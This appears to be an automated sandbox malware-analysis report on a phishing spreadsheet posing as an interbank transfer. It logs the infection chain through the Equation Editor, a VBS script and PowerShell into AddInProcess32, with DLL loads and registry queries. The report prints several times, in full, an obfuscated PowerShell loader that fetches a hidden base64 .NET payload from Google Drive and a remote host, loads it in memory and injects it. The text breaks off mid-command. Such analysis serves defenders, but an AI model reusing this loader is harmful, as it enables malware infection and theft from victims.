Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wbemcomn2.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vaultcli.dll	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: transferencia interbancaria_66579.xlam.xlsx

Initial sample: OLE zip file path = xl/calcChain.xml

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000008.00000002.520018273.0000000000872000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000008.00000002.520018273.0000000000872000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000008.00000002.520018273.0000000000872000.00000004.00000800.00020000.00000000.sdmp

Source: transferencia interbancaria_66579.xlam.xlsx

Initial sample: OLE indicators vbamacros = False

Data Obfuscation

Obfuscated command line found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, 